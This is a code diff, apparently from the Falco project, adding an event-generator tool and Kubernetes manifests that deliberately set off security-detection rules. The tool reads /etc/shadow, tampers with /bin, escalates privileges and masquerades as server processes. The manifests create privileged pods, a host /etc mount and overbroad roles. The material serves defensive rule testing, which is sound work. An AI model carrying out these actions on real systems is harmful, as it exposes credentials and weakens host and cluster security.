printf("Writing to /bin/created-by-event-generator-sh...\n");
|
||||
touch("/bin/created-by-event-generator-sh");
|
||||
}
|
||||
|
||||
void write_etc()
|
||||
{
|
||||
printf("Writing to /etc/created-by-event-generator-sh...\n");
|
||||
touch("/etc/created-by-event-generator-sh");
|
||||
}
|
||||
|
||||
void read_sensitive_file()
|
||||
{
|
||||
printf("Reading /etc/shadow...\n");
|
||||
read("/etc/shadow");
|
||||
}
|
||||
|
||||
void read_sensitive_file_after_startup()
|
||||
{
|
||||
printf("Becoming the program \"httpd\", sleeping 6 seconds and reading /etc/shadow...\n");
|
||||
respawn("./httpd", "read_sensitive_file", "6");
|
||||
}
|
||||
|
||||
void write_rpm_database()
|
||||
{
|
||||
printf("Writing to /var/lib/rpm/created-by-event-generator-sh...\n");
|
||||
touch("/var/lib/rpm/created-by-event-generator-sh");
|
||||
}
|
||||
|
||||
void spawn_shell()
|
||||
{
|
||||
printf("Spawning a shell to run \"ls > /dev/null\" using system()...\n");
|
||||
int rc;
|
||||
|
||||
if((rc = system("ls > /dev/null")) != 0)
|
||||
{
|
||||
fprintf(stderr, "Could not run ls > /dev/null in a shell: %s\n", strerror(errno));
|
||||
}
|
||||
}
|
||||
|
||||
void spawn_shell_under_httpd()
|
||||
{
|
||||
printf("Becoming the program \"httpd\" and then spawning a shell\n");
|
||||
respawn("./httpd", "spawn_shell", "0");
|
||||
}
|
||||
|
||||
void db_program_spawn_process()
|
||||
{
|
||||
printf("Becoming the program \"mysql\" and then running ls\n");
|
||||
respawn("./mysqld", "exec_ls", "0");
|
||||
}
|
||||
|
||||
void modify_binary_dirs()
|
||||
{
|
||||
printf("Moving /bin/true to /bin/true.event-generator-sh and back...\n");
|
||||
|
||||
if(rename("/bin/true", "/bin/true.event-generator-sh") != 0)
|
||||
{
|
||||
fprintf(stderr, "Could not rename \"/bin/true\" to \"/bin/true.event-generator-sh\": %s\n", strerror(errno));
|
||||
}
|
||||
else
|
||||
{
|
||||
if(rename("/bin/true.event-generator-sh", "/bin/true") != 0)
|
||||
{
|
||||
fprintf(stderr, "Could not rename \"/bin/true.event-generator-sh\" to \"/bin/true\": %s\n", strerror(errno));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void mkdir_binary_dirs()
|
||||
{
|
||||
printf("Creating directory /bin/directory-created-by-event-generator-sh...\n");
|
||||
if(mkdir("/bin/directory-created-by-event-generator-sh", 0644) != 0)
|
||||
{
|
||||
fprintf(stderr, "Could not create directory \"/bin/directory-created-by-event-generator-sh\": %s\n", strerror(errno));
|
||||
}
|
||||
}
|
||||
|
||||
void change_thread_namespace()
|
||||
{
|
||||
printf("Calling setns() to change namespaces...\n");
|
||||
printf("NOTE: does not result in a falco notification in containers, unless container run with --privileged or --security-opt seccomp=unconfined\n");
|
||||
// It doesn't matter that the arguments to setns are
|
||||
// bogus. It's the attempt to call it that will trigger the
|
||||
// rule.
|
||||
setns(0, 0);
|
||||
}
|
||||
|
||||
void system_user_interactive()
|
||||
{
|
||||
pid_t child;
|
||||
|
||||
printf("Forking a child that becomes user=daemon and then tries to run /bin/login...\n");
|
||||
// Fork a child and do everything in the child.
|
||||
if((child = fork()) == 0)
|
||||
{
|
||||
become_user("daemon");
|
||||
char *argv[] = {(char *)"/bin/login", NULL};
|
||||
char *env[] = {NULL};
|
||||
spawn("/bin/login", argv, env);
|
||||
exit(0);
|
||||
}
|
||||
else
|
||||
{
|
||||
int status;
|
||||
waitpid(child, &status, 0);
|
||||
}
|
||||
}
|
||||
|
||||
void network_activity()
|
||||
{
|
||||
printf("Connecting a udp socket to 10.2.3.4:8192...\n");
|
||||
int rc;
|
||||
int sock = socket(PF_INET, SOCK_DGRAM, 0);
|
||||
struct sockaddr_in localhost;
|
||||
|
||||
localhost.sin_family = AF_INET;
|
||||
localhost.sin_port = htons(8192);
|
||||
inet_aton("10.2.3.4", &(localhost.sin_addr));
|
||||
|
||||
if((rc = connect(sock, (struct sockaddr *)&localhost, sizeof(localhost))) != 0)
|
||||
{
|
||||
fprintf(stderr, "Could not bind listening socket to localhost: %s\n", strerror(errno));
|
||||
return;
|
||||
}
|
||||
|
||||
close(sock);
|
||||
}
|
||||
|
||||
void system_procs_network_activity()
|
||||
{
|
||||
printf("Becoming the program \"sha1sum\" and then performing network activity\n");
|
||||
respawn("./sha1sum", "network_activity", "0");
|
||||
}
|
||||
|
||||
void non_sudo_setuid()
|
||||
{
|
||||
pid_t child;
|
||||
|
||||
printf("Forking a child that becomes \"daemon\" user and then \"root\"...\n");
|
||||
|
||||
// Fork a child and do everything in the child.
|
||||
if((child = fork()) == 0)
|
||||
{
|
||||
// First setuid to something non-root. Then try to setuid back to root.
|
||||
become_user("daemon");
|
||||
become_user("root");
|
||||
exit(0);
|
||||
}
|
||||
else
|
||||
{
|
||||
int status;
|
||||
waitpid(child, &status, 0);
|
||||
}
|
||||
}
|
||||
|
||||
void create_files_below_dev()
|
||||
{
|
||||
printf("Creating /dev/created-by-event-generator-sh...\n");
|
||||
touch("/dev/created-by-event-generator-sh");
|
||||
}
|
||||
|
||||
void exec_ls()
|
||||
{
|
||||
char *argv[] = {(char *)"/bin/ls", NULL};
|
||||
char *env[] = {NULL};
|
||||
spawn("/bin/ls", argv, env);
|
||||
}
|
||||
|
||||
void user_mgmt_binaries()
|
||||
{
|
||||
printf("Becoming the program \"vipw\" and then running the program /bin/ls\n");
|
||||
printf("NOTE: does not result in a falco notification in containers\n");
|
||||
respawn("./vipw", "exec_ls", "0");
|
||||
}
|
||||
|
||||
typedef void (*action_t)();
|
||||
|
||||
map<string, action_t> defined_actions = {{"write_binary_dir", write_binary_dir},
|
||||
{"write_etc", write_etc},
|
||||
{"read_sensitive_file", read_sensitive_file},
|
||||
{"read_sensitive_file_after_startup", read_sensitive_file_after_startup},
|
||||
{"write_rpm_database", write_rpm_database},
|
||||
{"spawn_shell", spawn_shell},
|
||||
{"spawn_shell_under_httpd", spawn_shell_under_httpd},
|
||||
{"db_program_spawn_process", db_program_spawn_process},
|
||||
{"modify_binary_dirs", modify_binary_dirs},
|
||||
{"mkdir_binary_dirs", mkdir_binary_dirs},
|
||||
{"change_thread_namespace", change_thread_namespace},
|
||||
{"system_user_interactive", system_user_interactive},
|
||||
{"network_activity", network_activity},
|
||||
{"system_procs_network_activity", system_procs_network_activity},
|
||||
{"non_sudo_setuid", non_sudo_setuid},
|
||||
{"create_files_below_dev", create_files_below_dev},
|
||||
{"exec_ls", exec_ls},
|
||||
{"user_mgmt_binaries", user_mgmt_binaries},
|
||||
{"exfiltration", exfiltration}};
|
||||
|
||||
// Some actions don't directly result in suspicious behavior. These
|
||||
// actions are excluded from the ones run with -a all.
|
||||
set<string> exclude_from_all_actions = {"spawn_shell", "exec_ls", "network_activity"};
|
||||
|
||||
void create_symlinks(const char *program)
|
||||
{
|
||||
int rc;
|
||||
|
||||
// Some actions depend on this program being re-run as
|
||||
// different program names like 'mysqld', 'httpd', etc. This
|
||||
// sets up all the required symlinks.
|
||||
const char *progs[] = {"./httpd", "./mysqld", "./sha1sum", "./vipw", NULL};
|
||||
|
||||
for(unsigned int i = 0; progs[i] != NULL; i++)
|
||||
{
|
||||
unlink(progs[i]);
|
||||
|
||||
if((rc = symlink(program, progs[i])) != 0)
|
||||
{
|
||||
fprintf(stderr, "Could not link \"./event_generator\" to \"%s\": %s\n", progs[i], strerror(errno));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void run_actions(map<string, action_t> &actions, int interval, bool once)
|
||||
{
|
||||
while(true)
|
||||
{
|
||||
for(auto action : actions)
|
||||
{
|
||||
printf("***Action %s\n", action.first.c_str());
|
||||
action.second();
|
||||
sleep(interval);
|
||||
}
|
||||
if(once)
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
map<string, action_t> actions;
|
||||
int op;
|
||||
int long_index = 0;
|
||||
int interval = 1;
|
||||
bool once = false;
|
||||
map<string, action_t>::iterator it;
|
||||
|
||||
static struct option long_options[] =
|
||||
{
|
||||
{"help", no_argument, 0, 'h'},
|
||||
{"action", required_argument, 0, 'a'},
|
||||
{"interval", required_argument, 0, 'i'},
|
||||
{"once", no_argument, 0, 'o'},
|
||||
|
||||
{0, 0}};
|
||||
|
||||
//
|
||||
// Parse the args
|
||||
//
|
||||
while((op = getopt_long(argc, argv,
|
||||
"ha:i:l:o",
|
||||
long_options, &long_index)) != -1)
|
||||
{
|
||||
switch(op)
|
||||
{
|
||||
case 'h':
|
||||
usage(argv[0]);
|
||||
exit(1);
|
||||
case 'a':
|
||||
// "all" is already implied
|
||||
if(strcmp(optarg, "all") != 0)
|
||||
{
|
||||
if((it = defined_actions.find(optarg)) == defined_actions.end())
|
||||
{
|
||||
fprintf(stderr, "No action with name \"%s\" known, exiting.\n", optarg);
|
||||
exit(1);
|
||||
}
|
||||
actions.insert(*it);
|
||||
}
|
||||
break;
|
||||
case 'i':
|
||||
interval = atoi(optarg);
|
||||
break;
|
||||
case 'o':
|
||||
once = true;
|
||||
break;
|
||||
default:
|
||||
usage(argv[0]);
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
//
|
||||
// Also look for actions in the environment. If specified, they
|
||||
// override any specified on the command line.
|
||||
//
|
||||
char *env_action = getenv("EVENT_GENERATOR_ACTIONS");
|
||||
|
||||
if(env_action)
|
||||
{
|
||||
actions.clear();
|
||||
|
||||
string envs(env_action);
|
||||
istringstream ss(envs);
|
||||
string item;
|
||||
while(std::getline(ss, item, ':'))
|
||||
{
|
||||
if((it = defined_actions.find(item)) == defined_actions.end())
|
||||
{
|
||||
fprintf(stderr, "No action with name \"%s\" known, exiting.\n", item.c_str());
|
||||
exit(1);
|
||||
}
|
||||
actions.insert(*it);
|
||||
}
|
||||
}
|
||||
|
||||
if(actions.size() == 0)
|
||||
{
|
||||
for(auto &act : defined_actions)
|
||||
{
|
||||
if(exclude_from_all_actions.find(act.first) == exclude_from_all_actions.end())
|
||||
{
|
||||
actions.insert(act);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
// Only create symlinks when running as the program event_generator
|
||||
if(strstr(argv[0], "generator"))
|
||||
{
|
||||
create_symlinks(argv[0]);
|
||||
}
|
||||
|
||||
run_actions(actions, interval, once);
|
||||
}
|
||||
57
docker/event-generator/k8s_event_generator.sh
Normal file
57
docker/event-generator/k8s_event_generator.sh
Normal file
@@ -0,0 +1,57 @@
|
||||
#!/bin/bash
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
# You can pass a specific falco rule name and only yaml files matching
|
||||
# that rule will be considered. The default is "all", meaning all yaml
|
||||
# files will be applied.
|
||||
|
||||
RULE=${1:-all}
|
||||
|
||||
# Replace any '/' in RULES with a '.' and any space with a dash. (K8s
|
||||
# label values can not contain slashes/spaces)
|
||||
RULE=$(echo "$RULE" | tr '/ ' '.-')
|
||||
|
||||
echo "***Testing kubectl configuration..."
|
||||
kubectl version --short
|
||||
|
||||
while true; do
|
||||
|
||||
RET=$(kubectl get namespaces --output=name | grep falco-event-generator || true)
|
||||
|
||||
if [[ "$RET" == *falco-event-generator* ]]; then
|
||||
echo "***Deleting existing falco-event-generator namespace..."
|
||||
kubectl delete namespace falco-event-generator
|
||||
fi
|
||||
|
||||
echo "***Creating falco-event-generator namespace..."
|
||||
kubectl create namespace falco-event-generator
|
||||
|
||||
for file in yaml/*.yaml; do
|
||||
|
||||
MATCH=0
|
||||
if [[ "${RULE}" == "all" ]]; then
|
||||
MATCH=1
|
||||
else
|
||||
RET=$(grep -E "falco.rules:.*${RULE}" $file || true)
|
||||
if [[ "$RET" != "" ]]; then
|
||||
MATCH=1
|
||||
fi
|
||||
fi
|
||||
|
||||
if [[ $MATCH == 1 ]]; then
|
||||
MESSAGES=$(grep -E 'message' $file | cut -d: -f2 | tr '\n' ',')
|
||||
RULES=$(grep -E 'falco.rules' $file | cut -d: -f2 | tr '\n' ',')
|
||||
|
||||
# The message uses dashes in place of spaces, convert them back to spaces
|
||||
MESSAGES=$(echo "$MESSAGES" | tr '-' ' ' | sed -e 's/ *//' | sed -e 's/,$//')
|
||||
RULES=$(echo "$RULES" | tr '-' ' '| tr '.' '/' | sed -e 's/ *//' | sed -e 's/,$//')
|
||||
|
||||
echo "***$MESSAGES (Rule(s) $RULES)..."
|
||||
kubectl apply -f $file
|
||||
sleep 2
|
||||
fi
|
||||
done
|
||||
|
||||
sleep 10
|
||||
done
|
||||
16
docker/event-generator/yaml/configmap-private-creds.yaml
Normal file
16
docker/event-generator/yaml/configmap-private-creds.yaml
Normal file
@@ -0,0 +1,16 @@
|
||||
apiVersion: v1
|
||||
kind: ConfigMap
|
||||
metadata:
|
||||
name: private-creds-configmap
|
||||
namespace: falco-event-generator
|
||||
labels:
|
||||
app.kubernetes.io/name: private-creds-configmap
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
falco.rules: Create.Modify-Configmap-With-Private-Credentials
|
||||
message: Creating-configmap-with-private-credentials
|
||||
data:
|
||||
ui.properties: |
|
||||
color.good=purple
|
||||
color.bad=yellow
|
||||
allow.textmode=true
|
||||
password=some_secret_password
|
||||
25
docker/event-generator/yaml/disallowed-pod-deployment.yaml
Normal file
25
docker/event-generator/yaml/disallowed-pod-deployment.yaml
Normal file
@@ -0,0 +1,25 @@
|
||||
apiVersion: apps/v1
|
||||
kind: Deployment
|
||||
metadata:
|
||||
name: disallowed-pod-deployment
|
||||
namespace: falco-event-generator
|
||||
labels:
|
||||
app.kubernetes.io/name: disallowed-pod-deployment
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
falco.rules: Create-Disallowed-Pod
|
||||
message: Creating-pod-with-image-outside-of-allowed-images
|
||||
spec:
|
||||
replicas: 1
|
||||
selector:
|
||||
matchLabels:
|
||||
app.kubernetes.io/name: disallowed-pod-busybox
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
app.kubernetes.io/name: disallowed-pod-busybox
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
spec:
|
||||
containers:
|
||||
- name: busybox
|
||||
image: busybox
|
||||
command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]
|
||||
26
docker/event-generator/yaml/hostnetwork-deployment.yaml
Normal file
26
docker/event-generator/yaml/hostnetwork-deployment.yaml
Normal file
@@ -0,0 +1,26 @@
|
||||
apiVersion: apps/v1
|
||||
kind: Deployment
|
||||
metadata:
|
||||
name: hostnetwork-deployment
|
||||
namespace: falco-event-generator
|
||||
labels:
|
||||
app.kubernetes.io/name: hostnetwork-deployment
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
falco.rules: Create-HostNetwork-Pod
|
||||
message: Creating-deployment-with-hostNetwork-true-pod
|
||||
spec:
|
||||
replicas: 1
|
||||
selector:
|
||||
matchLabels:
|
||||
app.kubernetes.io/name: hostnetwork-busybox
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
app.kubernetes.io/name: hostnetwork-busybox
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
spec:
|
||||
hostNetwork: true
|
||||
containers:
|
||||
- name: busybox
|
||||
image: busybox
|
||||
command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]
|
||||
16
docker/event-generator/yaml/nodeport-service.yaml
Normal file
16
docker/event-generator/yaml/nodeport-service.yaml
Normal file
@@ -0,0 +1,16 @@
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
metadata:
|
||||
name: nodeport-service
|
||||
namespace: falco-event-generator
|
||||
labels:
|
||||
app.kubernetes.io/name: nodeport-service
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
falco.rules: Create-NodePort-Service
|
||||
message: Creating-service-of-type-NodePort
|
||||
spec:
|
||||
type: NodePort
|
||||
ports:
|
||||
- port: 80
|
||||
selector:
|
||||
app: busybox
|
||||
27
docker/event-generator/yaml/privileged-deployment.yaml
Normal file
27
docker/event-generator/yaml/privileged-deployment.yaml
Normal file
@@ -0,0 +1,27 @@
|
||||
apiVersion: apps/v1
|
||||
kind: Deployment
|
||||
metadata:
|
||||
name: privileged-deployment
|
||||
namespace: falco-event-generator
|
||||
labels:
|
||||
app.kubernetes.io/name: privileged-deployment
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
falco.rules: Create-Privileged-Pod
|
||||
message: Creating-deployment-with-privileged-true-pod
|
||||
spec:
|
||||
replicas: 1
|
||||
selector:
|
||||
matchLabels:
|
||||
app.kubernetes.io/name: privileged-busybox
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
app.kubernetes.io/name: privileged-busybox
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
spec:
|
||||
containers:
|
||||
- securityContext:
|
||||
privileged: true
|
||||
name: busybox
|
||||
image: busybox
|
||||
command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]
|
||||
17
docker/event-generator/yaml/role-pod-exec.yaml
Normal file
17
docker/event-generator/yaml/role-pod-exec.yaml
Normal file
@@ -0,0 +1,17 @@
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: Role
|
||||
metadata:
|
||||
name: pod-exec-role
|
||||
namespace: falco-event-generator
|
||||
labels:
|
||||
app.kubernetes.io/name: pod-exec-role
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
falco.rules: ClusterRole-With-Pod-Exec-Created
|
||||
message: Creating-role-that-can-exec-to-pods
|
||||
rules:
|
||||
- apiGroups:
|
||||
- ""
|
||||
resources:
|
||||
- "pods/exec"
|
||||
verbs:
|
||||
- get
|
||||
17
docker/event-generator/yaml/role-wildcard-resources.yaml
Normal file
17
docker/event-generator/yaml/role-wildcard-resources.yaml
Normal file
@@ -0,0 +1,17 @@
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: Role
|
||||
metadata:
|
||||
name: wildcard-resources-role
|
||||
namespace: falco-event-generator
|
||||
labels:
|
||||
app.kubernetes.io/name: wildcard-resources-role
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
falco.rules: ClusterRole-With-Write-Privileges-Created
|
||||
message: Creating-role-with-wildcard-resources
|
||||
rules:
|
||||
- apiGroups:
|
||||
- ""
|
||||
resources:
|
||||
- "*"
|
||||
verbs:
|
||||
- get
|
||||
17
docker/event-generator/yaml/role-write-privileges.yaml
Normal file
17
docker/event-generator/yaml/role-write-privileges.yaml
Normal file
@@ -0,0 +1,17 @@
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: Role
|
||||
metadata:
|
||||
name: write-privileges-role
|
||||
namespace: falco-event-generator
|
||||
labels:
|
||||
app.kubernetes.io/name: write-privileges-role
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
falco.rules: ClusterRole-With-Write-Privileges-Created
|
||||
message: Creating-role-with-write-privileges
|
||||
rules:
|
||||
- apiGroups:
|
||||
- ""
|
||||
resources:
|
||||
- "pods"
|
||||
verbs:
|
||||
- create
|
||||
32
docker/event-generator/yaml/sensitive-mount-deployment.yaml
Normal file
32
docker/event-generator/yaml/sensitive-mount-deployment.yaml
Normal file
@@ -0,0 +1,32 @@
|
||||
apiVersion: apps/v1
|
||||
kind: Deployment
|
||||
metadata:
|
||||
name: sensitive-mount-deployment
|
||||
namespace: falco-event-generator
|
||||
labels:
|
||||
app.kubernetes.io/name: sensitive-mount-deployment
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
falco.rules: Create-Sensitive-Mount-Pod
|
||||
message: Creating-deployment-with-pod-mounting-sensitive-path-from-host
|
||||
spec:
|
||||
replicas: 1
|
||||
selector:
|
||||
matchLabels:
|
||||
app.kubernetes.io/name: sensitive-mount-busybox
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
app.kubernetes.io/name: sensitive-mount-busybox
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
spec:
|
||||
containers:
|
||||
- name: busybox
|
||||
image: busybox
|
||||
command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]
|
||||
volumeMounts:
|
||||
- mountPath: /host/etc
|
||||
name: etc
|
||||
volumes:
|
||||
- name: etc
|
||||
hostPath:
|
||||
path: /etc
|
||||
15
docker/event-generator/yaml/vanilla-configmap.yaml
Normal file
15
docker/event-generator/yaml/vanilla-configmap.yaml
Normal file
@@ -0,0 +1,15 @@
|
||||
apiVersion: v1
|
||||
kind: ConfigMap
|
||||
metadata:
|
||||
name: vanilla-configmap
|
||||
namespace: falco-event-generator
|
||||
labels:
|
||||
app.kubernetes.io/name: vanilla-configmap
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
falco.rules: K8s-ConfigMap-Created
|
||||
message: Creating-configmap
|
||||
data:
|
||||
ui.properties: |
|
||||
color.good=purple
|
||||
color.bad=yellow
|
||||
allow.textmode=true
|
||||
25
docker/event-generator/yaml/vanilla-deployment.yaml
Normal file
25
docker/event-generator/yaml/vanilla-deployment.yaml
Normal file
@@ -0,0 +1,25 @@
|
||||
apiVersion: apps/v1
|
||||
kind: Deployment
|
||||
metadata:
|
||||
name: vanilla-deployment
|
||||
namespace: falco-event-generator
|
||||
labels:
|
||||
app.kubernetes.io/name: vanilla-deployment
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
falco.rules: K8s-Deployment-Created
|
||||
message: Creating-deployment
|
||||
spec:
|
||||
replicas: 1
|
||||
selector:
|
||||
matchLabels:
|
||||
app.kubernetes.io/name: vanilla-busybox
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
app.kubernetes.io/name: vanilla-busybox
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
spec:
|
||||
containers:
|
||||
- name: busybox
|
||||
image: busybox
|
||||
command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]
|
||||
@@ -0,0 +1,46 @@
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: Role
|
||||
metadata:
|
||||
name: vanilla-role
|
||||
namespace: falco-event-generator
|
||||
labels:
|
||||
app.kubernetes.io/name: vanilla-role
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
falco.rules: K8s-Role.Clusterrole-Created
|
||||
message: Creating-role
|
||||
rules:
|
||||
- apiGroups:
|
||||
- ""
|
||||
resources:
|
||||
- "pods"
|
||||
verbs:
|
||||
- list
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: RoleBinding
|
||||
metadata:
|
||||
name: vanilla-role-binding
|
||||
namespace: falco-event-generator
|
||||
labels:
|
||||
app.kubernetes.io/name: vanilla-role-binding
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
falco.rules: K8s-Role.Clusterrolebinding-Created
|
||||
message: Creating-rolebinding
|
||||
roleRef:
|
||||
kind: Role
|
||||
name: vanilla-role
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: vanilla-service-account
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: ServiceAccount
|
||||
metadata:
|
||||
name: vanilla-serviceaccount
|
||||
namespace: falco-event-generator
|
||||
labels:
|
||||
app.kubernetes.io/name: vanilla-serviceaccount
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
falco.rules: K8s-Serviceaccount-Created
|
||||
message: Creating-serviceaccount
|
||||
16
docker/event-generator/yaml/vanilla-service.yaml
Normal file
16
docker/event-generator/yaml/vanilla-service.yaml
Normal file
@@ -0,0 +1,16 @@
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
metadata:
|
||||
name: vanilla-service
|
||||
namespace: falco-event-generator
|
||||
labels:
|
||||
app.kubernetes.io/name: vanilla-service
|
||||
app.kubernetes.io/part-of: falco-event-generator
|
||||
falco.rules: K8s-Service-Created
|
||||
message: Creating-service
|
||||
spec:
|
||||
type: ClusterIP
|
||||
ports:
|
||||
- port: 80
|
||||
selector:
|
||||
app: busybox
|
||||
@@ -1,129 +0,0 @@
|
||||
FROM debian:buster
|
||||
|
||||
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
|
||||
|
||||
LABEL usage="docker run -i -t --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro -v /etc:/host/etc --name NAME IMAGE"
|
||||
|
||||
ARG TARGETARCH
|
||||
|
||||
ARG FALCO_VERSION=latest
|
||||
ARG VERSION_BUCKET=deb
|
||||
ENV VERSION_BUCKET=${VERSION_BUCKET}
|
||||
|
||||
ENV FALCO_VERSION=${FALCO_VERSION}
|
||||
ENV HOST_ROOT /host
|
||||
ENV HOME /root
|
||||
|
||||
RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
|
||||
|
||||
RUN apt-get update \
|
||||
&& apt-get install -y --no-install-recommends \
|
||||
bash-completion \
|
||||
bc \
|
||||
bison \
|
||||
clang-7 \
|
||||
ca-certificates \
|
||||
curl \
|
||||
dkms \
|
||||
flex \
|
||||
gnupg2 \
|
||||
gcc \
|
||||
jq \
|
||||
libc6-dev \
|
||||
libelf-dev \
|
||||
libssl-dev \
|
||||
llvm-7 \
|
||||
netcat \
|
||||
patchelf \
|
||||
xz-utils \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
RUN if [ "$TARGETARCH" = "amd64" ]; \
|
||||
then apt-get install -y --no-install-recommends libmpx2; \
|
||||
fi
|
||||
|
||||
# gcc 6 is no longer included in debian stable, but we need it to
|
||||
# build kernel modules on the default debian-based ami used by
|
||||
# kops. So grab copies we've saved from debian snapshots with the
|
||||
# prefix https://snapshot.debian.org/archive/debian/20170517T033514Z
|
||||
# or so.
|
||||
|
||||
RUN if [ "$TARGETARCH" = "amd64" ]; then curl -L -o libcilkrts5_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libcilkrts5_6.3.0-18_${TARGETARCH}.deb; fi; \
|
||||
curl -L -o cpp-6_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/cpp-6_6.3.0-18_${TARGETARCH}.deb \
|
||||
&& curl -L -o gcc-6-base_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-6-base_6.3.0-18_${TARGETARCH}.deb \
|
||||
&& curl -L -o gcc-6_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-6_6.3.0-18_${TARGETARCH}.deb \
|
||||
&& curl -L -o libasan3_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libasan3_6.3.0-18_${TARGETARCH}.deb \
|
||||
&& curl -L -o libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb \
|
||||
&& curl -L -o libubsan0_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libubsan0_6.3.0-18_${TARGETARCH}.deb \
|
||||
&& curl -L -o libmpfr4_3.1.3-2_${TARGETARCH}.deb https://download.falco.org/dependencies/libmpfr4_3.1.3-2_${TARGETARCH}.deb \
|
||||
&& curl -L -o libisl15_0.18-1_${TARGETARCH}.deb https://download.falco.org/dependencies/libisl15_0.18-1_${TARGETARCH}.deb \
|
||||
&& dpkg -i cpp-6_6.3.0-18_${TARGETARCH}.deb gcc-6-base_6.3.0-18_${TARGETARCH}.deb gcc-6_6.3.0-18_${TARGETARCH}.deb libasan3_6.3.0-18_${TARGETARCH}.deb; \
|
||||
if [ "$TARGETARCH" = "amd64" ]; then dpkg -i libcilkrts5_6.3.0-18_${TARGETARCH}.deb; fi; \
|
||||
dpkg -i libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb libubsan0_6.3.0-18_${TARGETARCH}.deb libmpfr4_3.1.3-2_${TARGETARCH}.deb libisl15_0.18-1_${TARGETARCH}.deb \
|
||||
&& rm -f cpp-6_6.3.0-18_${TARGETARCH}.deb gcc-6-base_6.3.0-18_${TARGETARCH}.deb gcc-6_6.3.0-18_${TARGETARCH}.deb libasan3_6.3.0-18_${TARGETARCH}.deb libcilkrts5_6.3.0-18_${TARGETARCH}.deb libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb libubsan0_6.3.0-18_${TARGETARCH}.deb libmpfr4_3.1.3-2_${TARGETARCH}.deb libisl15_0.18-1_${TARGETARCH}.deb
|
||||
|
||||
# gcc 5 is no longer included in debian stable, but we need it to
|
||||
# build centos kernels, which are 3.x based and explicitly want a gcc
|
||||
# version 3, 4, or 5 compiler. So grab copies we've saved from debian
|
||||
# snapshots with the prefix https://snapshot.debian.org/archive/debian/20190122T000000Z.
|
||||
|
||||
RUN if [ "$TARGETARCH" = "amd64" ]; then curl -L -o libmpx0_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/libmpx0_5.5.0-12_${TARGETARCH}.deb; fi; \
|
||||
curl -L -o cpp-5_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/cpp-5_5.5.0-12_${TARGETARCH}.deb \
|
||||
&& curl -L -o gcc-5-base_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-5-base_5.5.0-12_${TARGETARCH}.deb \
|
||||
&& curl -L -o gcc-5_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-5_5.5.0-12_${TARGETARCH}.deb \
|
||||
&& curl -L -o libasan2_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/libasan2_5.5.0-12_${TARGETARCH}.deb \
|
||||
